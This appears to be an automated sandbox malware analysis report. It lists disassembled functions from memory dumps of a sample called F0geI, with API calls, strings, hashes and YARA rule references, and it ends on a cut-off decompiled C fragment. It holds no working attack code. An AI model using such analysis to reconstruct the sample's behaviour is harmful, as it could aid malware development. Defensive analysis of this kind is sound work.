Function 004246D0 Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 105windowCOMMON

Download Yara Rule

APIs

__invoke_watson_if_oneof.LIBCMTD ref: 004247CE
__errno.LIBCMTD ref: 004247C6

Part of subcall function 00419D50: __getptd_noexit.LIBCMTD ref: 00419D56

__errno.LIBCMTD ref: 004247D6
_wcscpy_s.LIBCMTD ref: 00424810
__invoke_watson_if_error.LIBCMTD ref: 00424819
___crtMessageBoxW.LIBCMTD ref: 00424832
_raise.LIBCMTD ref: 0042484B

Strings

n#@, xrefs: 004246E5
QP#, xrefs: 0042479A
n#@, xrefs: 00424729, 0042472F
n#@, xrefs: 00424737, 0042473D
n#@, xrefs: 00424745, 0042474B
n#@, xrefs: 0042476F, 00424775, 00424784
`r@, xrefs: 00424768, 0042476E
n#@, xrefs: 00424753, 00424759

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __errno$Message___crt__getptd_noexit__invoke_watson_if_error__invoke_watson_if_oneof_raise_wcscpy_s
String ID: QP#$`r@$n#@$n#@$n#@$n#@$n#@$n#@
API String ID: 1308758192-46180747
Opcode ID: 2461502eb715ff7599928029a8ade488d316d128b4b8fd269882071301a35061
Instruction ID: b7fc949670298f43cf3bc8be79e7bc6415f0d6b645119a4239e0c2d5dbdbef19
Opcode Fuzzy Hash: 2461502eb715ff7599928029a8ade488d316d128b4b8fd269882071301a35061
Instruction Fuzzy Hash: 65415474E44228ABDB24DB91DC46FDA7374AB88704F1040EAF219772C1D6B86EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00598D44 Relevance: 25.9, APIs: 17, Instructions: 387filewindowCOMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00598D68
GetClientRect.USER32(?,?), ref: 00598EE6
SetStretchBltMode.GDI32(?,00000004), ref: 00598EEF
SelectObject.GDI32(?,00000000), ref: 00598F61
GetObjectW.GDI32(00000000,00000018,?), ref: 00598F9E

Part of subcall function 0059A905: LocalFree.KERNEL32(00000000,?,?,00592C15), ref: 0059A968

Part of subcall function 0059A76A: GlobalFree.KERNEL32(00592C15), ref: 0059A7B7

LocalFree.KERNEL32(00000000), ref: 005990AD
CloseHandle.KERNEL32(?), ref: 005990B8
DeleteFileW.KERNEL32(?), ref: 005990BF
LocalFree.KERNEL32(?), ref: 005990C6
LocalFree.KERNEL32(?), ref: 005990D0
LocalFree.KERNEL32(00000000), ref: 005991A8
LocalFree.KERNEL32(?), ref: 005991B2
LocalFree.KERNEL32(?), ref: 005991BC
LocalFree.KERNEL32(?), ref: 005991C3
LocalFree.KERNEL32(?), ref: 005991CD
DeleteObject.GDI32(00000000), ref: 005991D4
DeleteObject.GDI32(?), ref: 005991DE

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: Free$Local$Object$Delete$ClientCloseDesktopFileGlobalHandleModeRectSelectStretchWindow
String ID:
API String ID: 2245241583-0
Opcode ID: 167d8230b01a19888c30f1c1acb982bd4371131abcba0e45631bba1b62aed7e1
Instruction ID: dc8b9970b57b490d9066c225173bdc6ec38088ae2e53a9a468753d905ee77120
Opcode Fuzzy Hash: 167d8230b01a19888c30f1c1acb982bd4371131abcba0e45631bba1b62aed7e1
Instruction Fuzzy Hash: C5D12B71504211AFE704DFA6DE44E2A7BF9FBC9710F004D28FA54E7260D7B49921CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 005988B3 Relevance: 25.7, APIs: 14, Strings: 3, Instructions: 247COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?,?,?,?,?,?,00597C4A), ref: 00598A89
LocalFree.KERNEL32(?,?,?,?,?,?,?,00597C4A), ref: 00598A97
LocalFree.KERNEL32(00000000), ref: 00598AAE
LocalFree.KERNEL32(00000000), ref: 00598AB9
LocalFree.KERNEL32(00000000), ref: 00598AC4
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00597C4A), ref: 00598AF4
LocalFree.KERNEL32(?,?,?,?,?,?,?,00597C4A), ref: 00598B0A
LocalFree.KERNEL32(?,?,?,?,?,?,?,00597C4A), ref: 00598B22
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00597C4A), ref: 00598B31
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00597C4A), ref: 00598B3C
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00597C4A), ref: 00598B47
LocalFree.KERNEL32(?,?,?,?,?,?,?,00597C4A), ref: 00598B59
LocalFree.KERNEL32(00000000), ref: 00598B68
LocalFree.KERNEL32(00000000), ref: 00598B77

Strings

J|Y, xrefs: 00598967, 005989A0, 00598B10, 00598B17
J|Y, xrefs: 00598B65, 00598AAB
.dll, xrefs: 00598A4E

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal
String ID: .dll$J|Y$J|Y
API String ID: 2826327444-210793523
Opcode ID: 95061837a91f269392e0105e5022292588c8a9051f5e52f426446199278b41c2
Instruction ID: a3d1d8ab0f4d5b54d78ba6cdb1f0793d3141711237be990a89c7fd972f55f32d
Opcode Fuzzy Hash: 95061837a91f269392e0105e5022292588c8a9051f5e52f426446199278b41c2
Instruction Fuzzy Hash: F28181B1A00215ABDF04DFA5DE85E7EBBB9FB45310B084829E901F7250DF74ED018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0059AA41 Relevance: 25.3, APIs: 20, Instructions: 347COMMON

Download Yara Rule

APIs

Part of subcall function 0059A64B: LocalFree.KERNEL32(00000000,?,00593FAD,00000002,?), ref: 0059A6B0

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059AD93

Part of subcall function 0059B3DE: LocalFree.KERNEL32(00000000), ref: 0059B4C4
Part of subcall function 0059B3DE: LocalFree.KERNEL32(?), ref: 0059B740
Part of subcall function 0059B3DE: FindClose.KERNEL32(00000000), ref: 0059B747

LocalFree.KERNEL32(?), ref: 0059AD8C

Part of subcall function 0059A76A: GlobalFree.KERNEL32(00592C15), ref: 0059A7B7

LocalFree.KERNEL32(00000000), ref: 0059AD62
LocalFree.KERNEL32(?), ref: 0059AD6B
LocalFree.KERNEL32(?), ref: 0059AD74
LocalFree.KERNEL32(?), ref: 0059AD7D
LocalFree.KERNEL32(00597E04,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059AD9C
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059ADA5
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059ADAE
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059ADB7
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059ADC0
LocalFree.KERNEL32(00597E04,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059ADE7
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059ADF0
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059ADF9
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059AE02
LocalFree.KERNEL32(00597E04,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059AE10
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059AE19
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059AE22
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059AE2B
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597E04), ref: 0059AE32

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: Free$Local$CloseFindGlobal
String ID:
API String ID: 1000408776-0
Opcode ID: da41649cdfaa69d85f6674120de0b24903d668d69a5e938357de5707fbedf273
Instruction ID: 8009f32d258565d38e624207ce5bbe5cd40bd72007b646d41c030e87668eae9d
Opcode Fuzzy Hash: da41649cdfaa69d85f6674120de0b24903d668d69a5e938357de5707fbedf273
Instruction Fuzzy Hash: E9C18672900215AFDF089FA6DE49EAE7BB5FB48310F044829F905B72A0DB745D10CB79

Uniqueness

Uniqueness Score: -1.00%

Function 00599E40 Relevance: 25.3, APIs: 20, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cef58336c127519e834a542057a8c6bde7dd657260fd76d22c0132126a0d320
Instruction ID: fafc6ac39c98b997aed9685d8638a99e8325bafa2ccd63a2d38b643eee5d023f
Opcode Fuzzy Hash: 0cef58336c127519e834a542057a8c6bde7dd657260fd76d22c0132126a0d320
Instruction Fuzzy Hash: 27A1D372A00115AFDF009BAADE49EAE7BB9FB88310F144924F615F32A0CB705D10DB69

Uniqueness

Uniqueness Score: -1.00%

Function 005951E5 Relevance: 25.3, APIs: 20, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c78de96184f9a35f28283014b90c132c45570b675f53bf2a6977543753af1da
Instruction ID: 5e7dcdb47f4a0cc53e8f787c2fc48bc2aec85b5fd3256b36dd9ef17b660a079f
Opcode Fuzzy Hash: 1c78de96184f9a35f28283014b90c132c45570b675f53bf2a6977543753af1da
Instruction Fuzzy Hash: E2A1D771A00115BFDF019BAADE45EAE7FB5FB88310F104924F615F71A0DBB05D208B69

Uniqueness

Uniqueness Score: -1.00%

Function 00593EF6 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

., xrefs: 00594094

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 8eb8ff996c082bd78e62886e718282b1ca5e0bd6b9d0ceec2433230310415ef2
Instruction ID: 4d4a5be71430188e65921ca416d9830c4657116da9553f70b005c428457bfa3c
Opcode Fuzzy Hash: 8eb8ff996c082bd78e62886e718282b1ca5e0bd6b9d0ceec2433230310415ef2
Instruction Fuzzy Hash: 31919071A00215AFEF089FA5DE49EAE7BB5FB48300F044928F915B72A0DB746D51CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0059B06D Relevance: 22.8, APIs: 15, Instructions: 300COMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 0059B0B5
LocalFree.KERNEL32(00000000), ref: 0059B110
LocalFree.KERNEL32(00000000), ref: 0059B117

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$FolderPathSpecial
String ID:
API String ID: 1941890384-0
Opcode ID: 72788095e3ba856c56753af6b7a68af839d158276ac543cc7c9517f84d2339a1
Instruction ID: 6a7d336ef067c5062c9480de2e57afe6ae628622dc55388bedfa6c2b729268fc
Opcode Fuzzy Hash: 72788095e3ba856c56753af6b7a68af839d158276ac543cc7c9517f84d2339a1
Instruction Fuzzy Hash: 03A1A471A00215AFEF14DBA5DE49FAE7BB5FB88710F004828F615B72D0DBB49910CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0042FC37 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042FC3B
__get_printf_count_output.LIBCMTD ref: 0042FC49
__errno.LIBCMTD ref: 0042FCAF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042FCE5
_write_multi_char.LIBCMTD ref: 0043025E
_write_string.LIBCMTD ref: 00430279
_write_multi_char.LIBCMTD ref: 004302A5
_wctomb_s.LIBCMTD ref: 00430322

Strings

-, xrefs: 004301FE

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___errno__get_printf_count_output_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 577823877-2547889144
Opcode ID: 652433eaeae366e57fac5596ad03d7ff55dff337ab454d0776fc57a10d137009
Instruction ID: c1e4325090ae09e2a12d4ba6091b322c4b4b1f9f650ebbe9855a593ce12e5e41
Opcode Fuzzy Hash: 652433eaeae366e57fac5596ad03d7ff55dff337ab454d0776fc57a10d137009
Instruction Fuzzy Hash: 5AA1A070E012289BEB20DF55CC59BEEB7B0AB48304F5042EAE4197A291D7789EC4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406AF4 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 187filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

LocalFree.KERNEL32(00000000), ref: 00406BA0
wsprintfW.USER32 ref: 00406C85
lstrlenW.KERNEL32 ref: 00406C92
LocalFree.KERNEL32(?), ref: 00406CAF
DeleteFileW.KERNEL32(?), ref: 00406CE9
LocalFree.KERNEL32(?), ref: 00406CF4
LocalFree.KERNEL32(00000000), ref: 00406CFF
LocalFree.KERNEL32(00000000), ref: 00406D0B
DeleteFileW.KERNEL32(?), ref: 00406D12
LocalFree.KERNEL32(?), ref: 00406D19

Strings

FALSE, xrefs: 00406C65
TRUE, xrefs: 00406C6A, 00406C75

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile$lstrlenwsprintf
String ID: FALSE$TRUE
API String ID: 4168217763-1412513891
Opcode ID: 9678f90ab55edb758f128c11257a790f7dcdeab56316ac4198c1d38be139e42a
Instruction ID: c49cda921923e69c5166418a1bf50fcb18860fb3db535930a4ec2c5e5cba73ac
Opcode Fuzzy Hash: 9678f90ab55edb758f128c11257a790f7dcdeab56316ac4198c1d38be139e42a
Instruction Fuzzy Hash: 25619571A00214AFDF049FA1EE44EAE7BB5EF48310F108439F916B72A1DB759D20DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00595541 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 005955A0
LocalFree.KERNEL32(?), ref: 005957E7
LocalFree.KERNEL32(?), ref: 00595807
FindClose.KERNEL32(00000000), ref: 0059580E

Strings

., xrefs: 005955B4

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseFind
String ID: .
API String ID: 3269183270-248832578
Opcode ID: eeb62ecb9f106cfc2f54af98f71ca67650812a65c88e6959245ad390bece3727
Instruction ID: 972445e7f6a613f86fa0f79dd7700284e8bc98902d9e18e4b08fc4177349adbf
Opcode Fuzzy Hash: eeb62ecb9f106cfc2f54af98f71ca67650812a65c88e6959245ad390bece3727
Instruction Fuzzy Hash: E0816DB1604301AFDB05DF65DD49E2B7BA5FB88710F004D28F655A72A0EBB0D924CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0042067C Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 256COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004206C4
__un_inc.LIBCMTD ref: 00420818
__inc.LIBCMTD ref: 0042084A
__inc.LIBCMTD ref: 00420909
__mbtowc_l.LIBCMTD ref: 0042094B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004215A6

Strings

, xrefs: 00420883
], xrefs: 004206DD
{, xrefs: 004207F2
{, xrefs: 0042088C

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: Locale__inc$UpdateUpdate::~___mbtowc_l__un_inc_memset
String ID: $]${${
API String ID: 2643002128-1336171634
Opcode ID: 38d49781c0c57a9cad80453b4e34d42b7e599b07b36b725049bdf04ed0c535c3
Instruction ID: 7b836b868101b2461060d44305344fa49ed9a12a9ed4976e40d4580e4bd384a3
Opcode Fuzzy Hash: 38d49781c0c57a9cad80453b4e34d42b7e599b07b36b725049bdf04ed0c535c3
Instruction Fuzzy Hash: 4AB1E870E053A89FCF25DBA9D4906EDFBB1AF55304F14819BE4AA6B343C2385A40CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00418CA0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMTD ref: 00418CB5

Part of subcall function 0041BCB0: __getptd_noexit.LIBCMTD ref: 0041BCB6
Part of subcall function 0041BCB0: __amsg_exit.LIBCMTD ref: 0041BCC6

Strings

n#@, xrefs: 00418EB1, 00418EB7

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __amsg_exit__getptd__getptd_noexit
String ID: n#@
API String ID: 3939802461-1971128777
Opcode ID: 3d0b54772145becba0183ab7bb485930756f4df450446d99cda099476f9c4312
Instruction ID: a2e9a52059b654bc5406d46ef845d4db42a5e7a7c43eaf5afe2c9885acfdba67
Opcode Fuzzy Hash: 3d0b54772145becba0183ab7bb485930756f4df450446d99cda099476f9c4312
Instruction Fuzzy Hash: 3B819FB5A00209ABDF00DF64DC55FEF77B5AF48304F14845EF908A7281D7789A94CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00596D5B Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 187fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0059A905: LocalFree.KERNEL32(00000000,?,?,00592C15), ref: 0059A968

LocalFree.KERNEL32(00000000), ref: 00596E07
LocalFree.KERNEL32(?), ref: 00596F16
DeleteFileW.KERNEL32(?,?,?,?,?,00596AD2), ref: 00596F50
LocalFree.KERNEL32(?,?,?,?,?,00596AD2), ref: 00596F5B
LocalFree.KERNEL32(00000000,?,?,?,?,00596AD2), ref: 00596F66
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00596AD2), ref: 00596F72
DeleteFileW.KERNEL32(?,?,?,?,?,?,?,00596AD2), ref: 00596F79
LocalFree.KERNEL32(?,?,?,?,?,?,?,00596AD2), ref: 00596F80

Strings

FALSE, xrefs: 00596ECC
TRUE, xrefs: 00596ED1, 00596EDC

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: FALSE$TRUE
API String ID: 2194112602-1412513891
Opcode ID: 4de672f5ef5204324d375e2cd98ccb70593393dc9187e84e2e65f519924a5a45
Instruction ID: 3f85a2e1b5a349f7ecb45d0dc5542363a3fccbb900e1f6f5f4b3c855ae7fe3bb
Opcode Fuzzy Hash: 4de672f5ef5204324d375e2cd98ccb70593393dc9187e84e2e65f519924a5a45
Instruction Fuzzy Hash: 87619231A00214AFDF089FA2EE85EAD7BB5FF48310F108428F915B72A1DB759D20DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00412000 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 109windowCOMMON

Download Yara Rule

APIs

__snwprintf_s.LIBCMTD ref: 004120E0
__errno.LIBCMTD ref: 0041210B
__invoke_watson_if_oneof.LIBCMTD ref: 00412113
__errno.LIBCMTD ref: 0041211B
_wcscpy_s.LIBCMTD ref: 00412155
__invoke_watson_if_error.LIBCMTD ref: 0041215E
___crtMessageBoxW.LIBCMTD ref: 00412177
_raise.LIBCMTD ref: 00412190

Strings

T)@, xrefs: 004120B4, 004120BA, 004120C9
T)@, xrefs: 00412058

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __errno$Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: T)@$T)@
API String ID: 1843076477-1155104275
Opcode ID: 8929b1f4c9a2aff0a83edb7ae425d7f7bcf08ae553ec47a9f2a36e2b4f1be40b
Instruction ID: c7a4a860db40221b124d43e5a44df49b08fb112f7b311a157247053f3d49ee4d
Opcode Fuzzy Hash: 8929b1f4c9a2aff0a83edb7ae425d7f7bcf08ae553ec47a9f2a36e2b4f1be40b
Instruction Fuzzy Hash: 43417870A40214BBDB24EB90DD4AFDA7374AB48704F0045EAB108B72D1D6FD5AD5CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041200F Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__snwprintf_s.LIBCMTD ref: 004120E0
__errno.LIBCMTD ref: 0041210B
__invoke_watson_if_oneof.LIBCMTD ref: 00412113
__errno.LIBCMTD ref: 0041211B
_wcscpy_s.LIBCMTD ref: 00412155
__invoke_watson_if_error.LIBCMTD ref: 0041215E
___crtMessageBoxW.LIBCMTD ref: 00412177
_raise.LIBCMTD ref: 00412190

Strings

T)@, xrefs: 004120B4, 004120BA, 004120C9
T)@, xrefs: 00412058

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __errno$Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: T)@$T)@
API String ID: 1843076477-1155104275
Opcode ID: 9fdacd669fdcdafbe7e014797b45e44567de6dd3f312136f34c8ba13df4fe3ba
Instruction ID: 6009be71583d5b4970b192074538a43939151051f19ea94d5b900f3dd88f6011
Opcode Fuzzy Hash: 9fdacd669fdcdafbe7e014797b45e44567de6dd3f312136f34c8ba13df4fe3ba
Instruction Fuzzy Hash: CB417570A40228BBDB24EB90DD49BDA7374AB48704F0045AAB508B72C1D7F95AD5CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00430FAA Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00430FAE
__get_printf_count_output.LIBCMTD ref: 00430FBC
__errno.LIBCMTD ref: 00431022
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00431058
_write_multi_char.LIBCMTD ref: 004315EB
_write_string.LIBCMTD ref: 00431606
_write_multi_char.LIBCMTD ref: 00431632
__mbtowc_l.LIBCMTD ref: 004316A1

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___errno__get_printf_count_output__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 703810477-0
Opcode ID: 83aee01e5547a70ed7e6d9285c6afc650e3112415a577fb90558f1cd27df42b6
Instruction ID: 09345f63ed7e6f9298223f806110a78fac50aadeae85ae894961fc24b627c898
Opcode Fuzzy Hash: 83aee01e5547a70ed7e6d9285c6afc650e3112415a577fb90558f1cd27df42b6
Instruction Fuzzy Hash: D6A17FF0E002189BDB24DF45CC95BEEB3B4AB48304F14519AE6197B292D7789E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042FA85 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042FA89
_write_multi_char.LIBCMTD ref: 0043025E
_write_string.LIBCMTD ref: 00430279
_write_multi_char.LIBCMTD ref: 004302A5
_wctomb_s.LIBCMTD ref: 00430322

Strings

-, xrefs: 004301FE

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 557302112-2547889144
Opcode ID: ce3baeaae392aa5525ae5ae748688f599395809c67ab856bd2b4938cabbf0e09
Instruction ID: 97e9e53a55d9c7f2f9b9026c06879c4fc2e96d3f854523c43620616b097d2291
Opcode Fuzzy Hash: ce3baeaae392aa5525ae5ae748688f599395809c67ab856bd2b4938cabbf0e09
Instruction Fuzzy Hash: A7A18F70D012289FDF64CF54CC99BEEB7B1AB48304F5482EAE4096B291D7789E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00428CB0 Relevance: 15.1, APIs: 10, Instructions: 135COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00428CBE

Part of subcall function 00428F40: _cmpBYTE.LIBCMTD ref: 00428F78

_cmpDWORD.LIBCMTD ref: 00428CE5

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: c8f3e292c3b1e8bb93b3af797200ed8ae75d1eaad313a1fa08ee5c27a5052a11
Instruction ID: c519f4dcc2cb22526c2c3f65a94b32e6156838b2b49557c5b1d95bf76d6f3455
Opcode Fuzzy Hash: c8f3e292c3b1e8bb93b3af797200ed8ae75d1eaad313a1fa08ee5c27a5052a11
Instruction Fuzzy Hash: 18513271A02118EFCB04DFBCEA48A9DBBB5AB40305F91855DE409AB249DB349F44DB54

Uniqueness

Uniqueness Score: -1.00%

Function 0042062A Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 00420818
__inc.LIBCMTD ref: 0042084A
__inc.LIBCMTD ref: 00420909
__mbtowc_l.LIBCMTD ref: 0042094B

Strings

c, xrefs: 004209C5
, xrefs: 00420883

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __inc$__mbtowc_l__un_inc
String ID: $c
API String ID: 579247601-3797896886
Opcode ID: 27eaf5ec369bf2605294908d3608e0bb67ffb8760d3954b98b07801aa536f58c
Instruction ID: b9e472e2ce2df36fac2c0f239223ba567e220fd7a13c671cc3a2029d4395fcb2
Opcode Fuzzy Hash: 27eaf5ec369bf2605294908d3608e0bb67ffb8760d3954b98b07801aa536f58c
Instruction Fuzzy Hash: 8091C1B0E04268DBCF24CB95E8946EEB7B1AF55304F54819BD85A6B313C2389E80CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00407213 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 145
fileCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E00407213(intOrPtr* __ecx, intOrPtr _a4, void* _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _t24;
				void* _t25;
				void* _t27;
				intOrPtr* _t32;
				intOrPtr* _t39;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr _t44;
				intOrPtr _t45;
